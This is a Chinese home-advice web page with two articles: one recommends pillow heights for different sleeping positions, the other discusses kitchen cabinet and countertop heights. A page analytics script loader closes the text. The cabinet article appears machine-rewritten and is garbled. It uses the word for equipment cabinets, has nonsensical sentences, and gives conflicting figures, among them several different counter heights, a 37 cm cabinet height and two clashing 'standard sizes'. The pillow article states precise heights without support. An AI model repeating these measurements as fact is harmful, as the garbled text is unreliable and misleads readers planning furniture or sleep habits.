枕头的高度多少合适？

有些人为了更好的睡眠质量，花了大价钱买了一张柔软舒适的床，可是在起床的时候却发现还是打不起精神来，有时候还会感觉腰酸背痛，肩部难受。导致这个问题出现的直接原因就是枕头高度不合适。枕头高度不合适的话，关系到的不仅仅是我们的睡眠质量，还有我们的健康。那枕头多高比较合适呢?枕头的高度如何选择?经过科学研究表明，人在躺卧的时候会压迫枕头，使得颈部与床有一个手掌的左右的空隙，这也是最为舒适的一个选择。购买的枕头应该在受到头部重力之后压缩成一个手掌的厚度，对于正常成年人来说，也就是15厘米左右的高度，是最合适的一种高度。仰卧打鼾者选择柔软的枕头：有些人在平常的时候不会出现呼吸不通畅的问题，但睡觉的时候总会打鼾，这是因为过高的枕头阻碍了呼吸道的正常呼吸，这对肺部以及心脏有问题的人来说也是非常不好的。这类人群应该选择蓬松柔软一些的枕头，枕头高度在10-15厘米之间，这能够支撑起头部，但不会让呼吸道受到压力。侧卧感觉脖子疼，适当加高枕头：侧卧虽然说是对健康最有利的一种睡眠方式，但侧卧时枕头高度不得当，可能会造成脖子疼痛的现象出现。喜欢侧卧睡觉的人，需要选择一个稍微加高的枕头，使得头部、颈部以及脊椎在一条水平线上，这样睡一晚起来就不会脖子疼了。俯卧会落枕这选择薄枕头：有些人在睡觉的时候还喜欢俯卧着谁，但俯卧会使得颈部与脊椎不在一条水平线上，这样起床的时候常常会有落枕的感觉。喜欢俯卧睡觉的人，最好选择一个比较薄的枕头，或者直接不用枕头，这样才不会出现落枕的现象，神经也不会有疼痛的感觉。枕头选得好，睡眠质量才有保障，健康也才会有保障。选择枕头的时候也最好不要选择太硬的枕头，太硬的枕头会对脑部造成一定的压力，使神经感觉到压迫感;但是选择的枕头也不能太柔软，不然头部受不到弹力的作用，也会感觉不太舒服。购买的枕头也最好是要有品牌有保障的，不要选择黑心棉制成的枕头，不然对健康也会带来影响。

厨房橱柜高度多少合适 橱柜高度测量

当您选择橱柜时，最重要的是什么，橱柜的品牌，材料或尺寸？不要看许多橱柜的形状，它只是忽略了橱柜的高度和高度。重要的是要知道，在现代装饰设计中，橱柜的高度对于经常使用厨房的家庭主妇来说也是非常重要的。那么，厨房橱柜高度多少合适？让我们详细解答一下柜子的高度。一般厨房橱柜高度多少合适根据调查，一般厨柜的台面高度在80到85厘米之间，炉灶面的高度为65厘米。然而，现在许多家庭选择嵌入式炉灶面和整个橱柜，因此高度通常与整个橱柜的高度相同。高度是一样的。要知道每个人的身高不同，自然对橱柜高度的要求也不同。您可以在Internet上找到人体高度与工作台高度之间的对比表，并根据您的身高选择合适的机柜高度。该比较表符合人体工程学设计。它考虑了烹饪和烹饪的所有部分的弯曲角度和工作高度。您可以根据您的身高找到合适的橱柜高度。小编建议：厨房装修用的整体橱柜尺寸为85厘米。它根据人体工程学设置，因此烹饪时没有手臂，洗菜时不必弯腰。吊柜底部高度在1350mm至1500mm之间，是人体最舒适的45度角，非常安全，省力。2.机柜尺寸测量无论您选择整体橱柜还是橱柜定制，尺寸对于橱柜来说都非常重要。那么如何衡量橱柜的尺寸呢？就东方人的大小而言，厨房的台面最好是85厘米，橱柜的高度是37厘米；长度可根据厨房的大小进行调整。机柜的高度通常应该基于机柜底部，手指可以接触水槽底部。这个高度可以说是最合适的高度。一般厨房的厨柜分为两层，高度在89到91厘米之间，低层在81到84厘米之间。小编建议：采用欧式L形整体橱柜。机柜的标准尺寸为80厘米，宽度为60厘米。机柜的标准尺寸为70厘米，宽度为32厘米，机柜厚度为18毫米。总结一下：无论你选择什么样的橱柜，最重要的是要有一个合适的高度，使烹饪更方便，这样烹饪是一件有价值的事情。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();